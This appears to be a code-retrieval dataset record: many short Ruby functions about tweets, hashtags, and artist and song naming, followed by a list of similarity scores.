ignored\"\n\t\t\t\t\tsleep 15\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\t\n\t\telse\n\t\t\t@user_location = tweet[/\\([\\s]*@([^\\)]+)\\)/i]\n\t\t\tif @user_location == nil\n\t\t\t\t@artist_name = the_artist_name[3..(the_artist_name.length - 9)]\n\t\t\telse\n\t\t\t\t@artist_name = tweet[/by[\\w\\W]+[(@]/i]\n\t\t\t\tif @artist_name != nil\t\n\t\t\t\t\t@artist_name = @artist_name[3..(@artist_name.length - 3)]\n\t\t\t\tend\n\t\t\tend\n\t\tend\t\n\t\tthe_name = @artist_name[/[\\w\\W]+[|]/i]\n\t\tif the_name != nil\n\t\t\t@artist_name = the_name[0..(the_name.length - 2)]\n\t\tend\n\t\tputs \"Artist name: #{@artist_name}\"\n\n\t\t@song_name = tweet[/\\\"[\\s\\S\\d\\D\\w\\W]+\\\"/i]\n\t\tif @song_name != nil\n\t\t\tthe_song = @song_name[/[\\w\\W\\d\\D\\s\\S\"] +\"[\\w\\W\\d\\D\\s\\S]+\\w/i]\n\t\t\tif the_song != nil\n\t\t\t\t@song_name = the_song[3..(the_song.length)]\n\t\t\telse\n\t\t\t\t@song_name = @song_name[1..(@song_name.length - 2)]\n\t\t\tend\n\t\t\tputs \"Song name: #{@song_name}\"\n\t\tend\n\tend\nend",
"def get_feed_caption(name)\n\tcaption = String.new(name)\n\tcaption = caption.gsub(\"_\", \" \")\n\tcaption = caption.split.map(&:capitalize).join(' ')\n\tputs \"Generated caption '\" + caption + \"' for name '\" + name + \"'\"\n\treturn caption\nend",
"def format(tweet)\n if tweet.text.match(/@partyprinter tubestatus/)\n Tubestatus\n elsif tweet.text.match(/@partyprinter bardscene.*/)\n Bardscene\n else\n Tweet\n end\n \n end",
"def tweet\n\t\treturn \"AHHP! Pretty bird!\"\n\tend",
"def highwire_author_format(name)\n if name.include? ','\n name.split(',').reverse.join(' ').strip\n else\n name\n end\n end",
"def tweet\r\n\treturn \"tweet tweet tweet\"\r\n\tend",
"def tweet\n\treturn \"Tweet Tweet Twitter\"\nend",
"def tweetable_title\n title.size > 119 ? title[0,116] + \"...\" : title\n end",
"def tweet\n\t\treturn \"Polly want's a cracker.\"\n\tend",
"def tweet\n return \"chirp chirp\"\n end",
"def tweet_users\n if authors.size > 1\n \"#{submitting_author.nice_name} et al.\"\n else\n submitting_author.nice_name\n end\n end",
"def get_filename(artist, song)\n \"#{ENCLOSURE_PATH}#{proper_filename(artist)}__#{proper_filename(song)}.mp3\"\n end",
"def twitter_list_name\n end",
"def write_tweet(item)\n prefix = @recipient ? \"@#{@recipient} \" : \"\"\n\n source_title = item.source_title\n title = item.title\n link = item.link\n title_delimiter = \": \"\n link_delimiter = \" \"\n\n counter = MAX_TWEET_SIZE\n counter -= prefix.size\n counter -= title_delimiter.size\n counter -= link_delimiter.size\n counter -= T_CO_LINK_SIZE\n\n actual = counter\n actual -= source_title.size\n actual -= title.size\n\n if actual < 0\n chop = counter / 2\n source_title = source_title[0, chop]\n title = title[0, chop]\n end\n\n [prefix, source_title, title_delimiter, title, link_delimiter, link].join(\"\")\n end",
"def mention(status, *name)\n tweet(\"#{name.join('')} #{status}\")\nend",
"def reformat_twofaced_names(card)\n end",
"def artist_name\n if self.artist #if song has an artist aka TRUE\n self.artist.name #return the artist name\n else\n nil #if no artist name return nil\n end\n end",
"def title\n name.gsub(/_/, ' ')\n end",
"def our_songs\r\n\t@title = \"Our Songs\"\r\n end",
"def display_name\n @display_name ||= if audio? && metadata?\n artist, title = metadata.values_at('artist', 'title')\n title.present? ? [title, artist].compact.join(' - ').force_encoding('UTF-8') : attachment_file_name\n else\n attachment_file_name\n end\n end",
"def format_name\n name.observation_name\n end",
"def to_s\n \"Song: #@name--#@artist (#@duration)\"\n end",
"def get_name(page)\n # Get the line that has the player's name\n name = page.grep(/og:title/)\n # Make the name the beginning of the line\n name1 = name[0][35..-1]\n # Get just the name (the first two words)\n name2 = name1.split[0..1].join(' ')\n # Replace the HTML escape for ' with '\n name2.gsub(''',\"'\")\n end",
"def get_name(page)\n # Get the line that has the player's name\n name = page.grep(/og:title/)\n # Make the name the beginning of the line\n name1 = name[0][35..-1]\n # Get just the name (the first two words)\n name2 = name1.split[0..1].join(' ')\n # Replace the HTML escape for ' with '\n name2.gsub(''',\"'\")\n end",
"def format_name(name)\n name.split(' ').join('_')\n end",
"def format_name(name)\n name.split(' ').join('_')\n end",
"def share_text_short\n \"I'm looking at #{self.latest_name.titleize} on Dinesafe.\"\n end",
"def check_title\n if title.to_s == '' && audio_file.present?\n str = File.basename(audio_file_url).gsub(/[_]/, ' ') \n self.title = str.gsub(/[.mp3]/, '')\n self.save\n end\n end",
"def tweet!\n TWITTER.update(\"#{title.truncate(75)} - #{tweet_users}\\n\\nhttp://beta.briefideas.org/ideas/#{sha}\")\n self.update_columns(:tweeted => true)\n end",
"def fq_space_title(s)\n s.creator.nickname + '/' + '<strong>' + s.title + '</strong>'\n end",
"def artist_name\n if artist_name_from_url.present?\n artist_name_from_url\n elsif api_metadata.present?\n api_metadata.dig(:author, :username)\n else\n nil\n end\n end",
"def title\n \"#{@artist} - #{@name} (#{@length})\"\n end",
"def artist_name_downcase\n artist_name.to_s.downcase\n end",
"def make_tweet(tweets)\n table = markov_table(tweets)\n tweet = ''\n prefix = [nil] * @prefix_length\n\n word = pick_word(table[prefix.dup])\n\n until word.nil?\n tweet << \"#{word} \"\n fail 'holy cow! long tweet' if tweet.length > 1000\n\n prefix.shift\n prefix << word\n word = pick_word(table[prefix.dup])\n end\n\n # at-mention someone 1/100 of the time\n tweet.prepend(\"#{@mentions.sample} \") if Random.rand(100) == 0\n\n tweet.strip\n end",
"def create_full_filename(tv, q, f)\n ext = helper_make_ext(q,f)\n title = tv['track']['title'].dup\n title.gsub!(/'|\"/, ' ')\n title.gsub!(/[^A-Za-z0-9_ \\-]/, '_')\n title.gsub!(/ /, '')\n prefix = \"#{tv['track_key']} #{title}\"\n # We cut this off at 27 characters, basically trying to keep aif name\n # under 32 characters long.\n prefix.slice!(27..10000) if prefix.length > 27\n \"#{prefix}.#{ext}\"\n end",
"def artist_name\n # self.artist.name\n self.artist ? self.artist.name : ''\n end",
"def tweet\n\t\treturn \"tweee\"\n\tend",
"def display_song\n return \"Title: #{song_title}, Duration: #{duration}, Genre: #{genre}\"\n end",
"def display_song\n return \"Title: #{song_title}, Duration: #{duration}, Genre: #{genre}\"\n end",
"def format_name\n name ? name.observation_name : \"\"\n end",
"def name\n return @artist_data[\"name\"]\n end",
"def text_name\n title.to_s.t.html_to_ascii\n end",
"def format_name\n put_together_name(:full)\n end",
"def text_name\n put_together_name(:full).t.html_to_ascii\n end",
"def title\n\t\t\"#{artist.try(:name)} - #{event.try(:title)}\"\n\tend",
"def create_title(word)\n\t\t#prevents Nil.class errors\n\t\tsongTitle = ''\n\t\t#sets first word in title\n\t\tsongTitle = songTitle + word\n\t\tinWord = ''\n\t\tinWord = word\n\t\t#while loop set to 100000 to create a loop as a failsafe, but a song title should never get anywhere close to that large.\n\t\t(0..100000).each do\n\t\t\t#determines the word returned when calling mcw\n\t\t\tinWord = mcw(inWord)\n\t\t\t#checks if songTitle starts repeating itself: .scan() function discovered on stackoverflow\n\t\t\tif songTitle.scan(/#{inWord}/).length == 1\n\t\t\t\treturn songTitle\n\t\t\tend\n\t\t\t#in mcw returns '', then ends the function\n\t\t\tif inWord == ''\n\t\t\t\treturn songTitle\n\t\t\t#concatenates returned mcw() word to the song title\n\t\t\telse\n\t\t\t\tsongTitle = songTitle + \" \" + inWord\n\t\t\tend\n\t\tend\n\t\treturn songTitle\n\tend",
"def tweet\n \"<blockquote class='twitter-tweet' lang='en'><p lang='en' dir='ltr'>\" + tweet_text + \n \"</p>—\" + twitter_user + \"<a href='\" + twitter_url + \"'>\" + tweet_date + \n \"</a></blockquote><script async src='//platform.twitter.com/widgets.js' charset='utf-8'></script>\"\n end",
"def format_name\n [@comment[:first], @comment[:last]].join(' ')\n end",
"def tweet\n return \"Arrrr matey\"\n end",
"def format_name(name)\n name[2..-2].humanize.downcase.gsub ' | ', ': '\n end",
"def twitter_format(text)\n auto_link(text.dup).html_safe\n end",
"def get_tumblr_embed_link_title(work)\n title = work.title + \" (#{work.word_count} #{ts('words')})\".html_safe\n if work.anonymous?\n pseud = ts(\"Anonymous\")\n else\n pseud = work.pseuds.map {|pseud| (pseud.name)}.join(', ').html_safe\n end\n title + ts(\" by \") + pseud + ts(\" [#{ArchiveConfig.APP_SHORT_NAME}]\")\n end",
"def create_text\n songs.inject(\"\") do |list, song|\n list << \"#{song.filename}, #{song.title}\\n\"\n end\n end",
"def artist_name\n artist ? artist.name : ''\n end",
"def format_name\n title\n end",
"def artist_name\n artist.name if artist\n end",
"def artist_name\n if self.artist == nil #findining artist of song\n nil\n else\n artist.name\n end\n end",
"def build_audio_file_name(artist, record, segment, genre)\n # If we have a segment, find the intra-segment order. If segmented and isegorder is 0, then the track\n # is alone in its segment.\n track_pos = 0\n if record.segmented?\n track_pos = self.isegorder == 0 ? 1 : self.isegorder\n end\n # If we have a segment, prepend the title with the track position inside the segment\n title = track_pos == 0 ? self.stitle : track_pos.to_s+'. '+self.stitle\n\n # If we have a compilation, the main dir is the record title as opposite to the standard case\n # where it's the artist name\n if record.compile?\n dir = File.join(record.stitle.clean_path, artist.sname.clean_path)\n else\n dir = File.join(artist.sname.clean_path, record.stitle.clean_path)\n end\n\n fname = sprintf('%02d - %s', self.iorder, title.clean_path)\n dir += '/'+segment.stitle.clean_path unless segment.stitle.empty?\n\n return Cfg.music_dir+genre.sname+'/'+dir+'/'+fname\n end",
"def mention(status, *names)\n tweet(\"#{names.join(' ')} #{status}\")\nend",
"def mention(status, *names)\n tweet(\"#{names.join(' ')} #{status}\")\nend",
"def twitter_link(player)\n if player.twitter_screen_name\n # clean up any bad characters in a player's twitter name\n twitter_user = player.twitter_screen_name.sub(/^.*[@\\/]/, '')\n\n link_to(\"@\" + twitter_user, \"http://twitter.com/#{twitter_user}\")\n end\n end",
"def fq_space_title(s)\n (s.user.nickname + '/' + '<strong>' + s.title + '</strong>').html_safe\n end",
"def title_of(post_name)\n post_name[9..-1].gsub('_',' ').titleize\n end",
"def title\n \"#{artist.name} - #{name} [#{release.catalog_number}]\"\n end",
"def full_name_with_title\n @title + \" \" + full_name\n end",
"def song_decoder(song)\n #TODO\n if song.include?(\"WUB\")\n song.gsub(\"WUB\", \" \").gsub(/\\s+/, ' ').strip()\n else\n song\n end\nend",
"def shout_out_to(name)\n # name.chars.each { |c| c.upcase! }\n name = name.chars.each { |c| c.upcase! }.join\n puts 'HEY ' + name\nend",
"def normalized_name\n @normalized_name ||= if self.name.start_with?(ClientConstants::GLOBAL_PLAYLIST_PREFIX)\n self.name[2..-1]\n else\n self.name\n end\n end",
"def track_name\n begin\n track = MetaSpotify::Track.lookup(url_spotify)\n return track.name\n rescue Exception => e\n return \"Not a Track\"\n end\n end",
"def wikified_name\n self.name.slice(0,1).capitalize + self.name.slice(1..-1).gsub(/ /, '_')\n end",
"def file_title(title)\n title.downcase.gsub(/\\s+/, '-').gsub(/-{2,}/, '-').gsub(':', '')\nend",
"def possessive(player_name)\n if player_name.downcase.ends_with?('s')\n player_name + \"'\"\n else\n player_name + \"'s\"\n end\n end",
"def record_tweet(tweet_name, time)\n \n end",
"def wikiname(title)\n title.gsub(\" \",\"_\").downcase\nend",
"def listing_name(text)\n\t\t\tar = text.split(', ')\n\t\t\tlastname = ar[0]\n\t\t\tfirstpart = ar[1]\n\t\t\tinitials = firstpart.gsub(/([[:upper:]])[a-zé]+/, '\\1.')\n\t\t\tinitials + ' ' + lastname\n\t\tend",
"def search_file_name\n file_name = ''\n if @artist_id && @artist_id != 0\n artist_name = ARUtils.field( Artist , @artist_id , :name )\n file_name = artist_name if artist_name\n end\n if @album_id && @album_id != 0\n album_name = ARUtils.field( Album , @album_id , :name )\n file_name += ' - ' if ! file_name.empty?\n if album_name\n file_name += album_name\n end\n end\n file_name = 'songs' if file_name.empty?\n return ImagesModule.safe_file_name(file_name, true)\n end",
"def set_formats_for_name_and_filename\n self.name = self.name.tr(' ', '_')\n self.filename = self.filename.tr(' ', '_')\n end",
"def to_s\n return \"#{@original_tweet}\"\n end",
"def artist_name\n if self.name \n self.name\n else \n nil\n end \n end",
"def format_username\n \t_email_base = self.email[/[^@]+/]\n \tself.username ||= _email_base.camelize.underscore.gsub(/\\./,\"_\") unless _email_base.nil?\n\n end",
"def formatted_name(data)\n '' << data[:Title] << ' ' <<\n initials(data[:\"First Names\"]) <<\n data[:Surname]\n end",
"def titleize_proper_names\n self.author = self.author.titleize\n self.editor = self.editor.titleize if self.editor\n self.buyed_from = self.buyed_from.titleize if self.buyed_from\n end",
"def full_name\n stream.name\n end",
"def full_name\n stream.name\n end",
"def nice_name\n name.gsub(/\\..+/, '').wikify\n end",
"def artist_name\n if self.artist\n artist.name\n else\n nil\n end\n end",
"def band_name(name)\n return name.to_s.capitalize << name.to_s[1..-1] if name[0] == name[-1]\n\n article = 'The'\n article << ' ' << name.to_s.capitalize\nend",
"def shout_out_to(name)\n # name = name.chars.each { |c| c.upcase! }.join\n name.upcase!\n puts 'HEY ' + name\nend",
"def pretty_name\n self.name + ' (' + self.japanese_name + ')'\n end",
"def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end",
"def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end",
"def shout_out_to(name)\n name.chars.each { |c| c.upcase! }\n\n puts 'HEY ' + name\nend"
] |
[
"0.72361076",
"0.70344216",
"0.66230726",
"0.6583418",
"0.64850616",
"0.64805037",
"0.6437315",
"0.62904483",
"0.6266967",
"0.6243978",
"0.61862695",
"0.6076482",
"0.6043728",
"0.60052985",
"0.600385",
"0.5974153",
"0.5941831",
"0.5877113",
"0.58407515",
"0.58324254",
"0.5814429",
"0.58131456",
"0.58123785",
"0.58103466",
"0.58066547",
"0.58038944",
"0.57816195",
"0.5779498",
"0.57794356",
"0.57770187",
"0.5773878",
"0.5773878",
"0.5757703",
"0.5757703",
"0.5754789",
"0.57458663",
"0.57438457",
"0.57368124",
"0.5710921",
"0.5708375",
"0.5705169",
"0.57000136",
"0.56874067",
"0.56848747",
"0.5665778",
"0.5662154",
"0.5662154",
"0.5660359",
"0.56566375",
"0.56503737",
"0.5649419",
"0.5640091",
"0.563817",
"0.56279033",
"0.56264263",
"0.5615804",
"0.56107646",
"0.5605932",
"0.5604774",
"0.5602647",
"0.5595653",
"0.55925083",
"0.55844045",
"0.55736244",
"0.5571868",
"0.5564804",
"0.5562114",
"0.5562114",
"0.55534655",
"0.5551517",
"0.55505884",
"0.5548754",
"0.5531054",
"0.5530945",
"0.5529769",
"0.5500557",
"0.5498546",
"0.5480323",
"0.54778004",
"0.54727733",
"0.54715496",
"0.5469976",
"0.5466076",
"0.5463149",
"0.5462889",
"0.5455371",
"0.5454662",
"0.5453722",
"0.54517967",
"0.544579",
"0.54398507",
"0.54398507",
"0.54398286",
"0.5439198",
"0.54388976",
"0.54382956",
"0.5436787",
"0.5404832",
"0.5404161",
"0.5399947"
] |
0.6998749
|
2
|
Determines hashtag for tweet
|
def format_hashtag(nowplaying)
if nowplaying
return "nowplaying"
else
return "tweetsong"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hashtag?(word)\n return false if config.include_hashtags\n !(word =~ /#(\\w+)/).nil?\n end",
"def generateHashtag(string)\n hashtag = string.split.map(&:capitalize).join\n return false if hashtag.size > 139 || hashtag.size == 0\n hashtag.insert(0, \"#\")\nend",
"def get_hashtags2(post)\n post.split.grep(/^#+(\\w+)$/) { $1 }\nend",
"def hashtag(str)\n return_string = \"#\"\n words = str.split()\n\n words.each do |word|\n word_index = 0\n word.chars.each do |char|\n if word_index == 0\n return_string = return_string + char.upcase\n else\n return_string = return_string + char\n end\n\n word_index += 1\n end\n end\n\n if return_string == \"#\"\n return false\n elsif str.length > 30\n return false\n end\n\n return return_string\nend",
"def hashtags\n result_hash['hashtag']\n end",
"def get_hashtags(post)\n post.scan(/[\\A\\#|\\s\\#]\\w*/).join(\"\").scan(/\\w+/)\nend",
"def get_hashtags(tweet)\n list = []\n tweet.hashtags.each { |hashtag| list << hashtag.text.downcase } if tweet.hashtags?\n list\n end",
"def hashtag(str)\n \"##{str.to_s.sub(/\\s/, '')}\"\n end",
"def hashtagify(sentence, words)\r\n\r\nend",
"def generateHashtag(str)\n return false if str.empty?\n return false if str.length > 140\n \"#\" + str.split.join(\" \").split.map(&:capitalize).join\nend",
"def hashtag(str)\n return false if str.strip.empty?\n str = str.split(\" \").map(&:capitalize).join.prepend(\"#\")\n str.length > 30 ? false : str\nend",
"def webscrape_possible(hashtag_tweet)\n\t\tif tweet_contains_author?(hashtag_tweet) && tweet_contains_book_title?(hashtag_tweet)\n\t\t @author_match = hashtag_tweet.match(AUTHOR)[2].strip\n\t\t @book_title_match=hashtag_tweet.match(BOOK_TITLE)[1].gsub(\".\",\"\").strip \n \t\tend\n\tend",
"def generateHashtag(string)\n return false if string.gsub(/ /, \"\").empty?\n \n capitalized_string = string.split(\" \").map do |word|\n word.capitalize\n end\n \n hash_tag_str = capitalized_string.join(\"\").prepend(\"#\")\n \n if hash_tag_str.size <= 140\n return hash_tag_str\n else\n return false\n end\nend",
"def hashtag\n self.state.hashtag\n end",
"def search_for_hashtags(text)\n tags = []\n text.gsub(/\\#([\\w_\\-\\.]+)/) do\n tags << $1\n end\n tags\n end",
"def generateHashtag(string)\r\n return false if string.empty?\r\n words = string.split(\" \")\r\n capitals = words.map do |element|\r\n element.capitalize\r\n end\r\n joined = capitals.join\r\n hashed = joined.prepend(\"#\")\r\n \r\n if hashed.length > 140\r\n return false\r\n end\r\n return false if hashed == \"#\"\r\n hashed\r\nend",
"def get_hashtags(post)\n post.scan(/(?:\\s|^)(?:#+(?!\\d+(?:\\s|$)))(\\w+)(?=\\s|$)/).flatten\nend",
"def lookup_hashtag (hashtag)\n # TODO: If bad performance, we might do a seondary query instead of a join\n resp = IBM_DB.exec(@conn, \"SELECT * from tweets t INNER JOIN hashtags_tweets ht ON ht.tweet_id = t.id INNER JOIN users u ON t.user_id = u.id WHERE hashtag_id = #{hashtag}\")\n #TODO: Verify manually, cannot count results in DB2\n #debug 'hashtag: ' + hashtag.to_s + \" had \" + resp.count.to_s + \" tweets\"\n debug \"fetched tweets for hashtag: \" + hashtag.to_s\n end",
"def search_hashtag tag\r\n response = RestClient.get 'https://api.twitter.com/1.1/search/tweets.json', params: {q: tag, count: 100}, Authorization: 'Bearer AAAAAAAAAAAAAAAAAAAAAJr1YQAAAAAAHA%2FAKcuAEPhPSJgFqwcwKMU0wPk%3DwHtz3CIM3eluP3XQDNfXobhvApEBTpyYeWrJ31ZxUukMm1idUj'\r\n \r\n tweets = Array.new\r\n JSON.parse(response)['statuses'].each do |t|\r\n hashtags = Array.new\r\n t[\"entities\"][\"hashtags\"].each do |h|\r\n hashtags << (\"#\" + h[\"text\"].downcase)\r\n end\r\n tweet={\r\n \"id\" => t[\"id\"],\r\n \"text\" => t['text'],\r\n \"hashtags\" => hashtags\r\n }\r\n tweets << tweet\r\n end\r\n tweets\r\n end",
"def extract_hashtags\n description.to_s.scan(/#\\w+/).map{|name| name.gsub(\"#\", \"\")}\n end",
"def hashtag(match)\n raise NotImplementedError\n end",
"def get_hash_tags\n self.text.gsub(/#(([a-z_\\-]+[0-9_\\-]*[a-z0-9_\\-]+)|([0-9_\\-]+[a-z_\\-]+[a-z0-9_\\-]+))/).to_a\n #self.text.gsub(/#(\\w+)/).to_a\n end",
"def tweet(str)\n arr = []\n scans = str.scan(/(@\\w+)|(#\\w+)/)\n scans.each do |x|\n x.each do |y|\n if y\n arr.push y\n end\n end\n end\n arr.join ' '\nend",
"def clean_hashtag\n self.hashtag.slice!(0) if self.hashtag.first == \"#\"\n end",
"def hashtag_link_filter(text)\n self.class.hashtags_in(text) do |match, hashtag|\n result[:hashtags] |= [hashtag]\n\n link = if hashtag_validator.call(hashtag)\n hashtag_tag_buider.call(hashtag)\n else\n \"##{hashtag}\"\n end\n\n link ? match.sub(\"##{hashtag}\", link) : match\n end\n end",
"def deformat_hashtag(string)\n value = Array.new\n # look for hashtags\n sp = string.split(' ')\n sp.each { |v| value << v.tr('#', '') if v.start_with? '#'}\n value.sort_by{|word| word.downcase}\n end",
"def hashtagify(sentence, tags)\n\nend",
"def parse_tweet(t)\n URI.extract(t, %w[ http https ftp ]).each do |url|\n t.gsub!(url, \"<a href=\\\"#{url}\\\">#{url}</a>\")\n end\n \t# auto-link @usernames\n \tt = linkup_mentions_and_hashtags(t)\n end",
"def find_twitter_handle\n self.match(/(\\@\\w+)/i)\n return $1\n end",
"def hashtagify(sentence, tags)\n # I assume punctuation will only be at the end of the sentence.\n # To deal with punctuation in the middle of the sentence, I could do\n # the same thing for each word that I'm doing for the whole sentence.\n ends_with_punc = false\n if '!?.,;'.include?(sentence[-1]) \n ends_with_punc = true\n punc = sentence[-1] # save the punc and then add it back in at end.\n sentence = sentence.slice(0, sentence.length-1)\n end\n words = sentence.split(' ')\n result = []\n words.each do |word|\n if tags.include?(word.downcase)\n result << \"#\" + word\n else\n result << word\n end\n end\n if ends_with_punc\n result.join(' ') + punc\n else\n result.join(' ')\n end\nend",
"def hashtag_tag_buider\n context[:hashtag_tag_builder] || ->(hashtag) { %(<span class=\"hashtag-#{hashtag}\">#{hashtag}</span>) }\n end",
"def sanitized_hashtags\n modified_tags = hashtag_params.map do |hashtag|\n hashtag.first != '#' ? hashtag.prepend('#') : hashtag\n end\n modified_tags\n end",
"def get_hashtag(tag)\n Twitter::Search.new.hashtag(tag).fetch.to_json\n end",
"def set_hashtag\n @hashtag = Hashtag.find(params[:id])\n end",
"def generate_hashtag(string)\n return false if string.empty? || string.gsub(' ', '').size >= 140\n capitalized_words = string.gsub(/#/, '').split.map(&:capitalize).join('')\n\n '#' << capitalized_words\nend",
"def tweet\n\t\treturn \"tweee\"\n\tend",
"def tweet\n\t\treturn \"AHHP! Pretty bird!\"\n\tend",
"def find_hash_tags\n self.scan(/#[\\w-]+/).flatten.uniq\n end",
"def tweet\n return \"Arrrr matey\"\n end",
"def set_hashtag\n @hashtag = Hashtag.find(params[:id])\n end",
"def hashtagify(sentence, tags)\n words = sentence.split\n words.map! do |word|\n if tags.any? {|tag| word.downcase.include?(tag)}\n '#' + word\n else\n word\n end\n end\n words.join(' ')\nend",
"def tweet\n return \"chirp chirp\"\n end",
"def hashtag_validator\n context[:hashtag_validator] || ->(_hashtag) { true }\n end",
"def twitter_url(username)\n \"https://twitter.com/#!/#{username}\"\n end",
"def hashtagify(sentence, tags)\n temp = sentence.split\n\n temp.map! do |word|\n \tif tags.any? { |tag| word.downcase.include?(tag) }\n \"#\" + word\n else\n word\n end\n end\n\n temp.join(\" \")\nend",
"def grab_url(tweet)\n\t\t# only grabs the url from the tweet text and replaces any https with http\n\t\ttweet.text.split(' ').find { |hunk| hunk =~ /\\Ahttps{0,1}:\\/\\/t.co/ }.gsub('https', 'http')\n\tend",
"def extract_link(tweet)\n if tweet\n text = tweet['text']\n start = text.index('http') if text\n if start\n stop = text.index(' ', start) || 0\n text[start..stop-1]\n end\n end\n end",
"def search_for_mbti\n # search for tweets cotaining #MBTI, #mbti, or 'mbti'\n # save them to DB if the request is valid\n hashtag_res = client.search('#mbti', result_type: 'mixed', count: 100, lang: 'en')\n hashtag_res.take(5).each { |tweet| puts \"#{tweet.user.screen_name}: #{tweet.text}\" }\n save_tweets_to_db(hashtag_res)\n # text_res = client.search('mbti', result_type: 'mixed', count: 100, lang: 'en')\n # text_res.take(5).each { |tweet| puts \"#{tweet.user.screen_name}: #{tweet.text}\" }\n\n #save tweets to DB and save last_tweet_id as max_id so can poll later\n # self.last_tweet_id = hashtag_res.first.id.to_s # || Tweet.last.t_id_str\n end",
"def hash_number(line)\n\n count = 0\n\n line.each_char do |char|\n break if char != \"#\"\n count += 1\n end\n # cases when text starts with #haha instead of # haha\n if count != 0\n if line[count] == ' '\n count\n else\n 0\n end\n else\n count\n end\nend",
"def generateHastag(str)\n\tarray = str.split\n\treturned_str = \"#\"\n\tarray.each do |word|\n\t\treturned_str << word.capitalize\n\tend\n\treturn false if returned_str.length > 140 || returned_str.eql?('#') \n\treturned_str\nend",
"def auto_link_hashtags(text, options = {}) # :yields: hashtag_text\n options = options.dup\n options[:url_class] ||= DEFAULT_URL_CLASS\n options[:hashtag_class] ||= DEFAULT_HASHTAG_CLASS\n options[:hashtag_url_base] ||= \"http://twitter.com/search?q=%23\"\n options[:target] ||= DEFAULT_TARGET\n extra_html = HTML_ATTR_NO_FOLLOW unless options[:suppress_no_follow]\n\n Twitter::Rewriter.rewrite_hashtags(text) do |hash, hashtag|\n hashtag = yield(hashtag) if block_given?\n href = if options[:hashtag_url_block]\n options[:hashtag_url_block].call(hashtag)\n else\n \"#{options[:hashtag_url_base]}#{html_escape(hashtag)}\"\n end\n %(<a href=\"#{href}\" title=\"##{html_escape(hashtag)}\" #{target_tag(options)}class=\"#{options[:url_class]} #{options[:hashtag_class]}\"#{extra_html}>#{html_escape(hash)}#{html_escape(hashtag)}</a>)\n end\n end",
"def randHashtag()\n (0...10).map{ ('a'..'z').to_a[rand(26)] }.join\nend",
"def tweet\r\n\treturn \"tweet tweet tweet\"\r\n\tend",
"def auto_link_hashtags(text, options = {}, &block) # :yields: hashtag_text\n auto_link_entities(text, Extractor.extract_hashtags_with_indices(text), options, &block)\n end",
"def hashtags_format_gnip\n gnip_rule = ''\n # remove dups(uniq), downcase, reject empty strings\n # NOTE downcase make it easier to delete rules from Gnip\n @hashtags.uniq.reject{ |c| c.empty? }.each{|h| gnip_rule << \"##{h.downcase} \" }\n gnip_rule[0...-1]\n end",
"def tweet\n\treturn \"Tweet Tweet Twitter\"\nend",
"def set_post_hashtag\n @post_hashtag = PostHashtag.find(params[:id])\n end",
"def share_to_twitter?\n self.tweet_id == TWSharing::Underway\n end",
"def twitter_url; \"https://twitter.com/#{twitter}\" end",
"def tweet_id\n @tweet_id\n end",
"def format(tweet)\n if tweet.text.match(/@partyprinter tubestatus/)\n Tubestatus\n elsif tweet.text.match(/@partyprinter bardscene.*/)\n Bardscene\n else\n Tweet\n end\n \n end",
"def search_tweets(hashtag, limit=nil)\n response = @api_client.get(URI::SEARCH_TWEETS_URI, { q: hashtag })\n parse(response[\"statuses\"], Tweet, limit)\n end",
"def twitter_publish_message\n \"#NoAgenda show ##{number} attack vectors now at http://noagendadashboard.com\"\n end",
"def hashtagify(sentence, tags)\n result_array = Array.new\n sentence.split(\" \").each do |word|\n if sentence.include?(\"!\") || sentence.include?(\".\")\n result_array.push(punctuation_in_word(word, tags))\n else\n if tags.include?(word.downcase)\n result_array.push(\"#\" + word)\n else\n result_array.push(word)\n end\n end\n end\n result_array.join(\" \")\nend",
"def tweet\n\t\treturn \"Polly want's a cracker.\"\n\tend",
"def publishHashtags\n twitterclient = Twitter::Streaming::Client.new(@opts);\n count = 0\n twitterclient.sample do |object|\n if count < @opts[:limit]\n if object.is_a?(Twitter::Tweet) && object.hashtags?\n hashtags = object.hashtags\n hashtags.each do |ht|\n count += 1\n text = ht.text\n if text.match(/^[\\x20-\\x7E]*$/)\n puts(\"TWEET HASHTAG: #{ht.text}\")\n @server.publish @opts[:channel], ht.text\n end\n end\n end\n else\n twitterclient.close\n puts count\n end\n end\n end",
"def index\n @message_hashtags = MessageHashtag.all\n end",
"def make_tweet(tweets)\n table = markov_table(tweets)\n tweet = ''\n prefix = [nil] * @prefix_length\n\n word = pick_word(table[prefix.dup])\n\n until word.nil?\n tweet << \"#{word} \"\n fail 'holy cow! long tweet' if tweet.length > 1000\n\n prefix.shift\n prefix << word\n word = pick_word(table[prefix.dup])\n end\n\n # at-mention someone 1/100 of the time\n tweet.prepend(\"#{@mentions.sample} \") if Random.rand(100) == 0\n\n tweet.strip\n end",
"def tweet_user(tweet) \n if ! tweet.is_a?(String)\n base = tweet.has_key?(:from_user) ? tweet[:from_user] : tweet[:user][:screen_name]\n else\n base = tweet\n end\n base =~ /^@/ ? base : \"@#{base}\"\n end",
"def load_old_tweet\n #setup twitter client\n client = Twitter::REST::Client.new do |config|\n config.consumer_key = $consumer_key\n config.consumer_secret = $consumer_secret\n config.access_token = $access_token\n config.access_token_secret = $access_token_secret\n end\n\n #replace t.co link with didmichiganstatewin.com so the comparison will work\n return client.user_timeline(\"didmsuwin\").first.text.split('http').first + \"didmichiganstatewin.com\"\nend",
"def collect_tweets\n result = []\n begin\n @hashtags.each do |hashtag|\n result.push search(hashtag)\n end\n\n store_last_id calculate_last_id result\n filter_tweets_with_urls result\n\n rescue EOFError, SocketError, Twitter::Error::ClientError\n @logger.error \"Connection to Twitter seems to be not available.\"\n return nil\n end\n end",
"def checkURL(twitter_user)\n\tchecker = twitter_user.to_s\n\tif checker.start_with?(\"http://\") or checker.start_with?(\"https://\") or checker.start_with?(\"twitter.\")\n\t\treturn checker[checker.rindex('/')+1..checker.length]\n\telse \n\t\treturn checker\n\tend\nend",
"def set_message_hashtag\n @message_hashtag = MessageHashtag.find(params[:id])\n end",
"def favorite_hashtags\n favorite_stuffs(:hashtags, :text, 3)\n end",
"def tweet!\n TWITTER.update(\"#{title.truncate(75)} - #{tweet_users}\\n\\nhttp://beta.briefideas.org/ideas/#{sha}\")\n self.update_columns(:tweeted => true)\n end",
